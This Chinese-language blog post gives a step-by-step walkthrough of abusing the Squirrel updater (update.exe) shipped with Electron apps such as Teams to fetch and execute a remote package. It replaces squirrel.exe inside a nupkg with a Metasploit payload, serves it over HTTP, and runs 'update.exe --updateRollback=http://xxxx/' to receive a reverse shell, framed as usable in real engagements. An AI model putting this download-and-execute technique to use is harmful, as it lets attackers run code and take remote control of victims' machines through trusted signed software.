Nuget/Squirrel 远程下载执行
前言
前几天在油管上看到一个视频是利用打包好的 electron 应用的 update.exe 文件远程下载执行程序
然后根据视频的内容我推断出他可能是自己写了一个 electron 应用然后把恶意代码放到 main.js 文件中然后打包成 nupkg 文件随后利用 update.exe 的–updateRollback 参数远程下载执行自己的 nupkg 文件。
然后今天试了一下发现虽然也能成功执行但是效果并不同。
update.exe --updateRollback=http://xxxx/
我是执行完这条命令后虽然能够执行 nupkg 包的内容但是最后 electron 一定会退出进程(ps:和我写的没关系这是自带的功能),当然这里有其他的解决办法不过这里就不讲了
后来有一位群友问我是怎么把 shell 嵌入 nupkg 包内的,然后经过短暂的交流发现原来作者有发过一篇文章但是我没注意到。
随后在阅读了作者的文章发现他并不是将恶意代码嵌入 nupkg 包内而且替换 nupkg 包内\lib\net45\squirrel.exe 的文件
正文
首先准备一个 nupkg 文件你可以自己写也可以去拆别的应用的(实战中请自己写保证文件不会过大)
因为我之前看视频的时候已经准备了一个 electron 应用了所以我直接打包就行
先是直接替换包内 lib\net45\squirrel.exe 的这个 exe。我这里直接用 msf 生成的
然后准备一个 RELEASES 文件打开它向里面写入如下内容
B8F009563F51AA768374EB813181C4CCF70D320B electron-quick-start-1.0.0-full.nupkg 58027911
格式
SHA1 文件名 文件大小
准备好的两个文件
python 开启 http 服务
py -2 -m SimpleHTTPServer
然后我这里就用微软开发的 Teams_windows 应用的 update.exe
msf 监听
执行命令
接收到 shell
参考:
https://www.youtube.com/watch?v=0NrEdt00xic
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论